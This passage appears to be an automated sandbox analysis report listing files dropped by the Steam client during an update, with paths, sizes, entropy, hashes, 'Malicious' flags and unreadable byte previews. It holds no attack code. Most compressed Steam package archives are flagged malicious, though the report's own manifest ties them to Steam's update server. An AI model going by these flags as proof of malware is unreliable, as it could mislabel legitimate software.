Preview:	VZaO0.d].....(..`(..g.]E...B..W\|w.%..E..g?.^..3.i}k..I.......8..5c....J.......`...o..7.D.{p.9.....(....9Q._-X......">^.M.{.6N.\.8.D2..e..P..1......N..x.V rO\|.......O...A..n...B.Aig...a!..pQ..^."S;l....Cwvz....'............o.......@.....6...;I..ECY;r%......A]h..U......C.Q.~.&.5L.......k...UI^g(...a..........r......OY.......,..7....O.l.... C.4......./..'gQp..3uk\|5.4.n...B{.U$\|.....[}(.D-FAC....R.:'........_.A....Sr=oK.L.XV...J9......U.._.q.e.q.h..-,....-.>1.0U.x......g....%.+./....a.P.?=.q...J..v..i../...$N...)<j....,F%G........#.j._.p....tJ..P.}.W.S^.b...U........l...J...U.q..r.r.'..?e..j}...{...O..8.4.R.9.K.K.N..`qu..r/.[b3...xG.^7....._...?S.'....C.PN1{.q...x....!&....1......oRP..@.^...2....J.&.q.P.A..y.BV._!..~7.........&.....y.G..m......D."....C.N...u....t...(....+...-..._...a."........y....=.....1+..U".+.6ky.G[..a..]0...R..e.......O%.[%f.....@.V'.....u..4..CGa.....Q(.W6.4.(+....C6v...]PVJ{7-........"j..../...b{.;.Z..v.[...

C:\Program Files (x86)\Steam\package\bins_codecs_win32.zip.vz.75115d428dad4c6577a2fa8a6f8f422fa17b16cc_3095158

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	3095158
Entropy (8bit):	7.999939112857633
Encrypted:	true
SSDEEP:	49152:tLVPTwN3EvGHqo9v5HaCTq4NtzmJl4zjWnJFptPyE98S/ese01RzakDPBE+2rP3Q:55uNvcCT7tScWnJFptPyYrGseiRmaPBX
MD5:	85287FBD22DBC894CD2843B7CF78F552
SHA1:	75115D428DAD4C6577A2FA8A6F8F422FA17B16CC
SHA-256:	06B9EE3D6C991A06BDC69D4FE90AB51FF6AC2CFBC7483A0285F652FB0709D3B4
SHA-512:	C2AB7551185B1965B49E0135406358E276116277E0F7EBEBB703752FE760F3FDCCF348D3D7977401E779457A9A7B6DC68D8A0AFD971D35E52C36147B054D47E3
Malicious:	true
Reputation:	unknown
Preview:	VZa..c].....(..`(..i.}.fGL...K.+c.Q..V..Vpz.....a2.`.........?. ...n..SL..;f.\.>....7...O....)....s...DY..DT...5....#R.%..\..r.....9.&...Sm.......Z.../v......L..3.'.!...(.s.d6..w.......h.m...po...W..S..~..Me_!.;c.a......+...$..Ws...v]A=... ]...?C..F).....qjb2....+.R.!F}....5=/Y.R...M.?/k.i..zd........a... ..5....?..LIR(.5..U\|_.y1..X.`V.._.#j...4,..Fr..b.o.#..D.J.d..........I....d.XM...).;2pH..t.x....<.9...o.......,.%.z.H........@..#../.......l..0...l.q......z....LN!^g..9:X.7..Mb........Sb........].?o...QR..D.".#.....g..} .x..I.P.^g..4.}.)...fxoz.....sx...X..A..I..A%./..5 k;.e.x....8.>+ss.aP..A..........t...)V.].Y..7..,/.s.$..Z...G.M-1..x..\.>.".....O:.9...t".A.OB`D".+......J:... .x.LH.BI.t......;..\.....r.Lt......u..L.R...+.g...2.;.+.YL.....n...?.5D.VT....?.Kn?.....o...2H..Z....L$..]..,P..P..s..f.p...fH...03..Z.......B>gD.......+O^..-....D.SZ&.....p....%.!.....^(=uw...".fg8..!L.:r............n.k...aP`..XRB.....~.K.....z.`..@..B.\|Y.

C:\Program Files (x86)\Steam\package\bins_misc_win32.zip.vz.f35d293b528a5cff5266c168f6bb160cc383e743_13267842

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	13267842
Entropy (8bit):	7.999984687360041
Encrypted:	true
SSDEEP:	196608:w1hpoXJqUaAatYcDHl5dMIhIevBNhRY12BLImmqD1N7HtFW4nhOPQhtap5Gn:ShuXoEqdMYtv/hRY1DIdFDhoQH9
MD5:	84A472C855FFB49D40BEBE1FE69521A4
SHA1:	F35D293B528A5CFF5266C168F6BB160CC383E743
SHA-256:	272DC23A727EE60F383979A5CC2F0F22B39CB5AEA1C6070FD9158E9E51A92BEE
SHA-512:	E0EFAA5DEFE5BD588A88BEC281DC2798DD529F738F65A8E183DE35B1436F303F9CD36C45FED1D6CDC974EB3DE9B7B0BD6C6A62341BEA4D78485CB0F2FBBA462C
Malicious:	true
Reputation:	unknown
Preview:	VZao..c].....(..`(..h.U..).L...@........d..h.S...n.`.q>...........!4k&.:No...O.Aw.....t4<4.....M3....v.:tS.>:XG....?Q%m9...7.......G?..q>.$..C\.......G;....B5..~aA..=.........l.o.\ .K?F.H.gYl.A.f......gs^tU.....=.....B.w.9\]q..6Y?^........FAQ.ze..=..\.-.<e.....C...)c5.l@Dn..T.n..@.Zs.4#.\.5'.n.fN...j...!.l.i.....>...AY.0........c..q>k.K.LQ.<....&i8.9.....NDUj.a=..9{..n.=qa.h......\|.P.."Bl.p] .nf.k.R..m.A..f.....n...iU/..@..A.......7......p..{..Z...n-......e...M.{....!c1.&h...w.........c..5...\s.....9.6E(..._.../u....'0....T.J.5Q...r.s.....O0.@d.f....+.q_.7....XlR.3....)..(rm=....&.i.U.i.....\r...-'Z.8.K..}...).{..\|eA.Z.$\|.j..;....o..P..l.......P.g.WSG....w.O.....r.......`.\|...t......n...> :Sgh...k/..t.......Y..]...U.s.z..b...%W..7.".&+ {.%>[.sQ]..'o.....%.~...7.....S.d<...5......Y.Dj..N..="z..N2`.v?..\.D6.......co@\..j.9R......!0.q.gL."C,tB..y.........16.W...m-8...{0Vj....>.w.j...b.....]w..4.b...d..JIvS...U..^0t+..c.WL....C.d.j.?J.G...a7

C:\Program Files (x86)\Steam\package\bins_webhelpers_win32_win10-64.zip.vz.c6c592a091c27d3dbbc42efdc0c8566ca2d46dbc_2813841

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	2813841
Entropy (8bit):	7.999934781062759
Encrypted:	true
SSDEEP:	49152:DFh7G8EdYDijl+BvqSvuoCinAcMRfoS7nrrPsU125gScgN4Xe3HBlkEWMGyPy++Y:xh7PEPZSvuFyMRfoIrrr1ufaeRsMGKzH
MD5:	49166A8112754D00E9EAC9282249E2CB
SHA1:	C6C592A091C27D3DBBC42EFDC0C8566CA2D46DBC
SHA-256:	469CE7CD9B80BBD28D16E353E772D17AC7D36CD7A4BDEAF7364AB935BE94A1D3
SHA-512:	7D0F3DC5B0014F8E77AFA0E3889EB5CFCF7EDC44E3B2749A346CB3347D0B96EBFDC4565CC7F8D7864F4E746A7718EC0BB8873AF1C756BFFCC6C21BC64A71113B
Malicious:	true
Reputation:	unknown
Preview:	VZa...d].....(..`(..i!%...O.K.n.../....A`.y.m.S...DLL.n\|u.PI...!.X.R..(Qq9...oY...4...)..KN.n.6Al..K...cR../.....bT.p.{a.`.R.7I..6.$E..p....%.X.i{"..,.T.C.......Z...)....Z...-d...h..V.....Mp...D.M...@......rh.e........QO...]96..z...a..Y....b.....tc.....K.u.bL..`....._...Y1.S..Y.Ki.......-`.#i}...Y/q..~...nI.A.........X..C..+..Y.c`.v-.Q.,g.......j...L.`.I....~...Z....D.y..1d<.(..7....w9.)."E..9.'Gu&.e.]v.We.O... ..9..!`c..>...c..sr}.@!...d... .8c$E.q.#.....)[.eo..l.Q..I.w..$..}.8..m._7.......O%.Xd..g.,....Z....Hq..P..'e."x.E.F..M..4z.....C.....;.m....OG.\|....-.;.1.n....m........K.....M.%.l)....q.....(:...M.?.....I.?/.=....\|.;...J.zY.:?`6_..+...m.{.....=.....0.."K!..[.].{X..C<..4U2Q2........x'(.X......q..A D:.....+.^.?..>....}..<J...CP.%....-.......c^Z>....ym.Q.g...W`......9...o....h..._a%........`...9X....M..esk.KsB......../I....4...5.U..E....c...(....M\|)>Mr..O..x.!)i... 0.pD.6..l...7......=.m.......f...o.R.b~.t...k..@../.,......@..

C:\Program Files (x86)\Steam\package\bins_webhelpers_win32_win7.zip.vz.fa3bae3977ba300407e6b2e070a0d65cc7a263bd_2472436

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	2472436
Entropy (8bit):	7.999922346404627
Encrypted:	true
SSDEEP:	49152:4DuZeEGMu9JSAv3synVmG+pZVP8+FS4FpGp9Hx5tWj9wy0WJY:4DuZeEGMu9JzPs6QZF8+pOf84j
MD5:	4AC580553BC62C0CFDD980C4DBD4D22B
SHA1:	FA3BAE3977BA300407E6B2E070A0D65CC7A263BD
SHA-256:	638178B3D71F01B31EFC98508A1A209A3EF6DC27B34EC15B446F7DE30E9DA4FC
SHA-512:	A9C9B76355BBC4E87FD9A514795B7CFC65516F3200EF1F6D3EAFA36250EC747A5C71DABA148A614B01B504BAD683C08CF068CF66450F7E118468E984E6EBDB9D
Malicious:	true
Reputation:	unknown
Preview:	VZa...d].....(..`(..i.....O.#'02...H$2.....i0Z......@0....(b3........h.LcH...a...0.!..JWGT....9.......;.;.b....n.{\W=&..6h..`...pv...k.....R.W:.e"<.iO[...i#d.fC...@cUc..PHr.C..]\|..u<i@d.'.vc....vy{...:..]..ZW1Y..(!.....8............;...8....ai[G.8..MM...of......m.n.....e...r.qx.DI1.Og:.8.G..B. @>:\|Q.L...M.(...A..`.c~.Y.!...).s.- ..Y...~t;.....................w".z.1.\|....b.r.....T....k..n%......<`.....T..q...T.......!<..~.......>.e........L......h.?.......F...`@.......i.E..........&{.....>....b...I.....y.4.J....xD30..&U..=..P./........xf..vx......).Y..t-6\|CC.4.?#.\K...<.#UN..8....?c.&#!..x^...s.a..a........c. ..d./a.y:..]!.8L....Bf'U.w.s.".H3,.O....u5.\|w.].1_.5H.~...D...R=.=....rG.......4b...'..~..}..P$j.DZR....Z...v..[s.Q.K.81\...%.o...?Lm.vB..S.OQ....R.J..u..k.M*...E"w.....M.E.Bj}.......jvAr.I.s.d....uL.~..-,+..5.6..i./!..}....tK=LlP}...8(...h..y.3.....ge.>c..?...Z"`R..&.%.....]Z..@..Y.2.).@X..`.`.b.....o..uX2.^.y..&-..V..6>.H.h....

C:\Program Files (x86)\Steam\package\bins_win32.zip.vz.0fea7d66ad9217cd0646c9cee096c21a2d85e649_29716075

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	29716075
Entropy (8bit):	7.999993779034393
Encrypted:	true
SSDEEP:	786432:pilVf+PPwBD95Dqs1Q5YfTJKSxg8O3AEfuND7E:pSV+PGDf9aWdCRwEfgfE
MD5:	4738F19F4224AB6176262A9C45C01907
SHA1:	0FEA7D66AD9217CD0646C9CEE096C21A2D85E649
SHA-256:	08CF72D40D643022A6CA22168483AF19943C1F4673A341D834A19D34A08968E5
SHA-512:	D047164F0F59A3D87812548E9F6B532D77CF54D8345D3F33B62C37588003BA4EC7639FA1C9A53E9D2FC6216311863E976F0DEB093A4F570727C40AD9A088C4CF
Malicious:	true
Reputation:	unknown
Preview:	VZa;..d].....(..`(..i.@....M.Cz....P1..\|/.w....\|>Of.n4.n.........au.;`..j............!..]^/...'...o..\|.B...!..sGVb.6.d"...R.....7..m`.s....Z..O.tL...u..++.A.k.^#.$.089.r..(.WBY.A.S!m.p..A.85......Z.3:.."c?.\|.u3I.....w+...nF.....K.....\..............}..a...#\..BZ....E........#..,..+nK.<V\!Z.h:........YMpuC.Y{Y1....d`.!L.s..I...!..7...h..d....?...@e...u.&.q..u.9]...Fa....#.{,.Y..G..w..P...v.4:..............K.!.&.....6U..M.7.......0............g`t.<M....9!...".`.3AK.....<.K...n?.'I.Z.q.4.WR.U?..M<%u.rB.&...3!\Y..(Y.pf.W$..Jp.."?j....)...;....-.......a..b...D........,.....s_)JOT.....Mw.;..8..Y.N.,....fE[.X.6.....'...',.n=..J\.8.n.........P.....Cjp..C.......{U.... .."..A..C..7Q..Q..j,....J.....8.Gt.l..D}i...`[.P).L..%>..8z..D.[K.!.9..."R..V..i-E*Ut......{...;A..#..B9\|..O...G.D.^M...W.3.ql.......6..}T.R0$......M...O...R.o......4....[....%.5...{..T....$........3NH`4.:.....E..;...P.&..".3..j&.'-E.).LSo..A..k.g...J,aM....<....`h.

C:\Program Files (x86)\Steam\package\friendsui_all.zip.vz.dc5a05e568618d8b9a42a7ffb9c85a8368b39e19_2792909

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	2792909
Entropy (8bit):	7.9999270754394365
Encrypted:	true
SSDEEP:	49152:WHz0Bc0o0r3OFw/nKw3ITJJadIVGZ5p0VabTou8dVsJ0HNEEUxRqpLDf12I:uz0hb3/Kw30J0dIVlVA78dVsJtEQ4LZn
MD5:	CEEBC791DD4133CF9F46331B497F5ED8
SHA1:	DC5A05E568618D8B9A42A7FFB9C85A8368B39E19
SHA-256:	6FCBC8109D11DA18927F004CF6BD85CB907C587345E77EE968A330A8D16BFAC6
SHA-512:	3E952396441278AC4BDE7990A0F050A79A459348C4F6AB9FE8C2AE390EF1B7374C1F087E385E51872A37F52F1D520503CAB70FE628A39FFB3C0443BF77DDF99F
Malicious:	true
Reputation:	unknown
Preview:	VZauC.d].....(..`(..h........W..u:..N[07f.z.>./.<.......ArVq......N...~...e.)C.w.Kyw...........i1...k.X....X...pTG......2...V..Zu.E.U....C.G..`a..)[.>0..Zh.d...T.....^B#."(.i..@)y..........]_....F...y..L.[..~~...E..Uc.m....p..av.(...g..,.pK].%H.8.P..+.E...t...h....5.6..\D.........C............... ....0.K.w....y.6MU.......=..f.N..m..$9...P9K.7..n}...p....$}.W.=XD..pY....\|..@...3...qz..6...P.7.i.....md.M..../......5..[.......RL.J@...[~K.....1......G.z0}.@.,........~p..9..._...].G8.SBg.\..}.v...8.R...o.?d.........A.,...?.8....-..2]...0..T...D..[..X.{it4p..CR..h~.)....... .....k.^.eF1.....%5wV........"8g..JIQ.t$q.S...bt..E...5........4X`..5.S...Z $.....r.c..f.....G..6L.mjA.9.1..c...QsR.3'.5.3..2R.Y.V?.7."..$..9P9.qS.D.K...@.Z....g[fO=...#.E..>=...+;...6EY.w....`xu\..H.!c.YK..H...g........+9E6&...-f.,..{....g....o..c..\..@..l.G..}n.;....9AT..c..)^...mL.K..9P.BM\Al..z.y.....:.O.4.J/.....p....H.Wl_0.Q.o95}f......(..i..=.!....O....2..........._....

C:\Program Files (x86)\Steam\package\public_all.zip.vz.9c814ca63a5b4779fbd99234e4c6ccdbcfb2cafb_10209176

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	10209176
Entropy (8bit):	7.999980730315762
Encrypted:	true
SSDEEP:	196608:y8zpcEQTtpqnEVsyKo8DyGfvl18w5EKR+Ja8RNT4uSIzzmGGThGFih:yXXkEVXL8Bfd18w5rX87SIezTL
MD5:	8771B6DB76EEF7FF0D62F2EA4874B3EB
SHA1:	9C814CA63A5B4779FBD99234E4C6CCDBCFB2CAFB
SHA-256:	9078381460CBF0A02C262B3A2988A0458E5463F1021D5AC05A6E92E62131CF35
SHA-512:	CA18C23415099189EDBC2F6B7C711DEDC0204B588303C316081743C6C381829B47195CE94F1A3435B358E58404CD7318A6FB5E2DCD8F4C1E986A960A872609AD
Malicious:	true
Reputation:	unknown
Preview:	VZa...d].....(..`(..i.A....M/z.."..N......u..O................8.kM,....bJ.^.$8....3(...r:.e...N.J..;...Q3.a>O..CJG(o..N.U....w....Kd.:.C.:...H .w...\|&...'."....w.W....@.....@.G.f..O......N..`.Id....._OAJ...~4.Uw>.j....2]~..mz.+.^....h\)...I=..bRC.(...[.g..I............$.0N..@.B9...l.. 8686.K.#.,....s..\....?.......e.%..%.......i{.C..e...h..O..J?..d%....e...3H.U.K.1....J:H.1Y=hEb.Q..."..i;.:.....H....tBu..{..r..S.8..(......=3m...h..]y....Oo...Zo.S.B...{.w....j.;.O.Q.h....M.k.B.j.C.-Q.....JI ..(.....e...m8X.....^.....-.i...E'.{.{..e..+gA.r.cz...........>.3...U..i...6......K...8..f..Be0..5...S...{..^O.K`.H..9..9k....:.Q....].4...@....As..iA7P.E!.q..0;.B.jt....+...q......8....kU.v.Gf.]..[.....L.wOM......bn'....`V...v....q.^.......&.\..(..&,O.x......\|.@...FO&.*.Q.....p=.i.[..[.b..N..P..#...>.9..C0.H.....M.......w...\...x:{..xM..f....}.v...R@..".GS.:.F.R..F..g..G2......P....K........g. !.....b.yA.i.<vX.{......63 ..b'.+......h.l..T........

C:\Program Files (x86)\Steam\package\resources_all.zip.vz.87b7b04f8107a68259af46cb088551ff46016ecf_19357713

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	19357713
Entropy (8bit):	7.999990762366911
Encrypted:	true
SSDEEP:	393216:0gbNDtInmww2oZ5lSgSeqhmOj3i3IAtERHis1KgcvLl7bEsnt1aH:PhOnmeg7waIAtSHis15yjDu
MD5:	E6EBA62CAC4C2465948FC8A66195FFFB
SHA1:	87B7B04F8107A68259AF46CB088551FF46016ECF
SHA-256:	01B451D0943C3111D0120F454751D573D6D1987BC012A2E7F464200B342E2CAC
SHA-512:	E0023675F08279E4947D6165FD78AA5CC0714045311197062E050125E645B7525018612CC15D40736F956B364F283F70F0C0EC66B7D6A5A1E05376D935E2BFB5
Malicious:	true
Reputation:	unknown
Preview:	VZa.g.d].....(..`(..ix..'..B....fW/...C`..]...0.{.@..O6.\|..h{i...v.\|#J...z..-.L.l..,..V...g......sG..w...@.........f!Z.s.p.r{3w.>.......$...h.....n...\..j.m...K....Rv..o.x....@.3'.i.2X.. ....'.sR....z....r`(..........Xf......,..;9..L#..?.".k.....U.{.~b...X#4..#E.. .s.?:...pd.n.D...'F..lo.l.k..?s0.4..R..A.tS.JP.>./bO..3H$?..:v.nM]...6....Y.:..F..e.:k..~q....@.}`..%....C<}...)y.zzw..p.}t^....B...G$.B.B.N..,Z...:.2.Bz.X,.k.r..w..<`.....`..%Rm..?.5..Y....@`..OE&.ji....'..'.....NB.D}......K.'.E...\|~.UUz.X6.g.0...m.TU..d...k.Sp..s.........K.XW..:.\|K[.C...........`..C.<9..2Z~{...n..s..7QiA.....Z...1..Q..3#..LU...cXRB..^..m..C3u#=..X,e.}.B.....In.....K&?..K......\A.Of.1...)....J&.@.k.C..ZO...*....ze......... tn.6..{.(........-.pp....l.#.4 .L..[.^.t.Hgp.(-+.c,./.fj9...\|.b..R..oq.x......{.'.q.....m.d.......q9....P9....../.....s..~M..;.r-kB....^.Yq.....=..J.~.T.......!...j.]...Dv.].Ka...P.~.3......."v.C..&j2.Y.....H@u..B}Y.#...........s.,9....

C:\Program Files (x86)\Steam\package\resources_hidpi_all.zip.vz.3de815c3117712cb9eeb7ea4c8b275faf481dcfd_56342

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	56342
Entropy (8bit):	7.996231766487777
Encrypted:	true
SSDEEP:	768:gmqP5beFYAtNJo8WyJTaoeEUQ2zZvNZyzbHkzTxRR2Np1/lAOJCtwilPl6:85beFYAlWyEPEn2zxXyzTI2NpxKmbQd6
MD5:	A207ADC9A20F0A199494A0BE559F423F
SHA1:	3DE815C3117712CB9EEB7EA4C8B275FAF481DCFD
SHA-256:	E9CFBA9AF633E9D216A0CDE97B1177D4CBCA2A1ACA7E83AAF38655DBD9BE4B7D
SHA-512:	7AE69B616F5A581FA483F4CB02F41D4010896866F28EA3E8B024F1FC917718F0A26F59BAEE13E27B617CE35E444F401278A6F8EBB8611E9AA9DC100D984716C9
Malicious:	true
Reputation:	unknown
Preview:	VZa..._].....(..`(..h."..(.....J@t.+i...$.f.<..3.$......B...K&,.d.....<.Y..}..G....;..C/.......\.Wn..C.fU...(c$....G...fO.z8.,./..O..8vd.D.U.....+>.8I..L...1b....)..3...1..J..y.) ..q.......&...M...".V[..S..to3<....s..c..Z.....d\.r...T%}.y....EW..T....7.G.80..U7..%e...R..`.'P;S.r.N.......@. ....D\Q+.ud..Sbr@....E?:.+...!.uE..S)u.L.M.`.....J...A.D.z].j...wH.._...X.F>..I...ljT..).0W..<..3....->K^.y..Q.../...,.....%.....n!.a.P37...G..5o.}.f...fj...E....1..W..<.r..!..H.3....ui{i..TH+..k.!.Z...G..LYj.[....C..^#..C0..(L...\|..f.[<..pqm......`!.g..yX.s...?...d.S.].jFW..*I.fP.t.u.)./.k..:.a.....c.9...:..X..d.u..)............+.;.g..d]31.#..P...Q...klR.../L,n.3.A3K.2Z.....m.L... p...k....{.1B....@n....`..^.....h.....O...4.E........"~o.).k.e...R.P.....'G@..BM#.5Q(..2)<...)....pLBR.r#.l ..#....f....c..u.;.w.hp.......j.puR....2(..u....6...\|G.......JN.....q...ne.....Hp....Xb..\@?p. ...P...<>.C....9.>........V..C.q.2.u....F......m4...,..q-..<2

C:\Program Files (x86)\Steam\package\resources_misc_all.zip.vz.e86a975545f3ab21a77373870cb311ef93934b8c_2224876

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	2224876
Entropy (8bit):	7.999916258461223
Encrypted:	true
SSDEEP:	49152:Et8uyihO6YdhgzrlSxM5zgheYC7nwe57zEeay7DBGcEK6XmuH4X:EttyihO6BzrlSxM5gwbxFdZAjG
MD5:	AA34041580654FB4136750FCBB4BE63A
SHA1:	E86A975545F3AB21A77373870CB311EF93934B8C
SHA-256:	5E9CA0AAC16B4D5CAA2AC77AB2CE239E8DBCABE5BA6F0565112239EBB127AB2B
SHA-512:	FBCA612CB005F70057840AF54A99F9F1327AD27C53BF7C0FF49A397B11493D6F3EC25F43A11C4DD5660BC029F6CDF5984EB8910FD9385351798C7CC65FE46FE0
Malicious:	true
Reputation:	unknown
Preview:	VZa..$T].....(..`(..g.V...A....,..E.uW......C...z..\.a......F..r.................X...wz......i-=..(..P0..2Z.....G.W.........v..m....k.d..?1.....1_..$..Q.$.u.rg...g......47..]...&.....1...Xfv....=.R....&t];._%...G....3.l.t.....N.G....]\.Q$&h...._N.g....>T.!...!E.,.K;j...N....4..al(\.=aHO....Xa....Uj#....l...J...f....Feu....,....]w~P..2...]U..Hy..n....yf...Z7p..U&.i.u=?.&.uG. SW.....y...o.'..97...<..?.......,C.m.yG...i.w.....b9......o....... ..f...f........Zzf..".f&.m...'Q.8;rU4.2W.u....!..R.U..\.V./..........U...f.E..C.,.33(I..zu.o\k.i.9c.8e.Kn,..q4..RQZ%.._.}K..VL..@u>.Y...].FnFr.;jY.&.P .r .".....fK../8.]...m)..\|7....'....fQN[.N...:.\|E......2...j.r..Tn..H..r.....k:..^>L.Ua.NW..p.R..{.-K'{..Q_..w.a...F..?^..HX..%........j.....P.Aj...=...!P.%..\.V..A..QG...\| ..E..$A...!.$~g...S.y'I!..)].>"J\|.`...\|mn.#Fo.:.....f.$U.U8...1z......P.)......\|.....%,...O....}..).p.Uy>.......L..wG.^WX}%Pi..~...,..2..{}...5.!.Hk]..8T.k.._..=v.K.8.'$c~.mX...]Z

C:\Program Files (x86)\Steam\package\resources_music_all.zip.vz.6ab5be2f768f6d1bf0bcbd0f7ad2beb081b7472d_3707757

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	3707757
Entropy (8bit):	7.99995676218039
Encrypted:	true
SSDEEP:	49152:S7vLH3iblX+dDVSCxg7QGYarEtPhY9gp7fVsz7+fPSB9lQJieQcFQLi5JrB3yVJo:Witsg7b6egdq7+XoJLcFP93yE
MD5:	E84AF4A677F470953BB59D0A54212F15
SHA1:	6AB5BE2F768F6D1BF0BCBD0F7AD2BEB081B7472D
SHA-256:	E040ED075E87AAD815CFF150A5DE9D7C7CD57121F8C8FCA8EE2166B2014BEDE4
SHA-512:	16AE63D9EB2A3DFBE451884CD996D0286919763486983C2E550AC43FD768D0B183BC36871E868445EAA7E44DECB9A6DF029872995077C657140BFDBEB3B66344
Malicious:	true
Reputation:	unknown
Preview:	VZa..)T].....(..`(..h.g...qH\.e...w..Q.......L...]......f..?m...:.n.{9.w.(...C...\|cy..7Q..^....(uY8.-}v..~.8.......u....M.2.cts..c..`.w...,.J...+.......''P..- k..N2.(.........gx.i..5.@T.22).p?..m..u..)2.9r.&..g.Xf...W..Y.G-):,.....:._....$...tx..+g.3v.....dUa~w.K.....(...B>..q.4!~.$....j..&.-.wv3la.J......w...=H.^7.\...G/.G.y\....6z9.....Bx...6.....}.y.....pho.3.....(j.f......,.....iE@A8h}...k,a.5.N[.. ..N....Gj.6.v..T=..(D.=.YC(....F\.P....!n.....esa....!.$.{)..]..P.{~...r&@...d%m..........b.....B...%,....iW]T..t......j.N.\ .Q.3.....i...d%...x....<...]....S'2...K...!..^.^....l...........:..#1d.$T.=..U=....8.(..~.........{'T..Y..)...r..HW+...6..o.........' .R2......p...y..E:.......J...........:E.L1?V..F....'.p..U70K..y.......z.S.(...."..l.....{..0(..P..R.v. *:.~t.....L.._.?{O....%..L.q]g.j;#...a.D.II.7).@...4.j,...#(.2S...6cc.?Z,..D.W.$.0t.....s.(...EQn._.....Q1...\...W.f.=PU..k.(p...d..b..T...tC.~.z.w..T!..&)...L.................'/....

C:\Program Files (x86)\Steam\package\steam_client_metrics.bin

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	4929
Entropy (8bit):	5.537683593242998
Encrypted:	false
SSDEEP:	96:rWKwJ4hSuO4YhEkMdKOT26ZH23l+VMX4NQ07D:rWKwJKSuO4/kM1T26I3l+VMX4NQ07D
MD5:	FF0617A7DF0E5906A01B074EE4C0F025
SHA1:	CE7E7C8835323FDA9AAC6657511C4B308652C5C3
SHA-256:	C77EE1D1F588A98EC4D2DE4CA5D31774620F6A99C507309B47B223ACEC5CA77E
SHA-512:	41A296E445E20B23E25506BABA9D417F59ECA07E02EE33C1DA6BAE55683D12F2D3C69BABD916D76A19C89170346F79FACEBA94F940BD7F81A2F79E54DA5D4669
Malicious:	false
Reputation:	unknown
Preview:	...... .0..:....media.steampowered.com..media.steampowered.com../client/steam_client_win32"./client/steam_client_win32(.0..:.23.0.174.32:80@..H._P.B....media.steampowered.com..media.steampowered.com.F/client/tenfoot_dicts_all.zip.3a6cb3db75398c509bdc6e389408b6951017494b".tenfoot_dicts_all(.0..:.23.0.174.32:80@..H...P.B....media.steampowered.com..media.steampowered.com.N/client/tenfoot_ambientsounds_all.zip.c8342205c2cdfec5329ec8ec2905ddaa33be3cb8".tenfoot_ambientsounds_all(.0..:.23.0.174.32:80@..H....P.B....media.steampowered.com..media.steampowered.com.R/client/tenfoot_fonts_all.zip.vz.e19674422bc376becd7bf4a73b4b52eefc34c7fe_12075477".tenfoot_fonts_all(.0..:.23.0.174.32:80@..H...P.B....media.steampowered.com..media.steampowered.com.E/client/tenfoot_misc_all.zip.a49df66ba6bd900ed2c58bb4a9a578752f73f511".tenfoot_misc_all(.0..:.23.0.174.32:80@.(H..P.B....media.steampowered.com..media.steampowered.com.R/client/resources_misc_all.zip.vz.e86a975545f3ab21a77373870cb311ef93934b8c_222487

C:\Program Files (x86)\Steam\package\steam_client_win32

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12524
Entropy (8bit):	4.899038478350385
Encrypted:	false
SSDEEP:	384:7QEdzBZmnmmpLQ44AztMeD+X3IX85X4p/n6tz5B6WeIPxP:EEdzD50MPAzWlNVZP
MD5:	560C41B75CAA770407F1525EC7DCD7F1
SHA1:	537F91800EB25FEF9A1646218EDE935A01DD8CE1
SHA-256:	47FC4B2EDE1D70F83DD5542F89A77E5DE6F384C5AB633EEE91581AE6D0C7245B
SHA-512:	66828A111D6FCF1BBFE4B2BF53542698F185E62DA723EDD2BD43A74D77129A68A275FA167D9F1BB1A295A77C254B14E66B7D1AAC227FD80D4954EA7A5C268C15
Malicious:	false
Reputation:	unknown
Preview:	"win32"..{..."version".."1689034492"..."tenfoot_misc_all"...{...."file".."tenfoot_misc_all.zip.a49df66ba6bd900ed2c58bb4a9a578752f73f511"...."size".."13179376"...."sha2".."02456842ede50a48b46c9822d697aa77c206b7ebf30c669de86a8680788aacec"...}..."tenfoot_dicts_all"...{...."file".."tenfoot_dicts_all.zip.3a6cb3db75398c509bdc6e389408b6951017494b"...."size".."12274769"...."sha2".."e18bc40936b3e0b29a6f5ecb5ca8e598e85493ef01adeded93292cfa4bfd5ea3"...}..."tenfoot_fonts_all"...{...."file".."tenfoot_fonts_all.zip.24d041cff44a37e535c589e826376496ead3690a"...."size".."14998044"...."sha2".."251a1871682770d20f16c3f2f4d4ccf9de7079e783b8e1558403f5fe965714df"...."zipvz".."tenfoot_fonts_all.zip.vz.e19674422bc376becd7bf4a73b4b52eefc34c7fe_12075477"...."sha2vz".."71c8784e61fdbbfdcb1010bb94c1a59af18342c9dff69a07924ad76222b240ff"...}..."tenfoot_ambientsounds_all"...{...."file".."tenfoot_ambientsounds_all.zip.c8342205c2cdfec5329ec8ec2905ddaa33be3cb8"...."size".."7973468"...."sha2".."fac7781ac2a6d8c1c8d9c06238e

C:\Program Files (x86)\Steam\package\steam_win32_steamrow.zip.vz.f71a1a31ad111088c819b824acbf9063248dc6d9_1801552

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	1801552
Entropy (8bit):	7.9999131515352655
Encrypted:	true
SSDEEP:	49152:if9/QY+yvbIg1HVuWG3ZWA+g5j5DRBOJg04OQtqjvoa+/Cv:KQmb7HvGz+cd/fOw2oT6v
MD5:	DF2511F4BBF79F7114B8E193AA63118A
SHA1:	F71A1A31AD111088C819B824ACBF9063248DC6D9
SHA-256:	B48E43776575C338CE2CDA6E071A6FE2AA37C4F69F10B4425075B5FC91BB9412
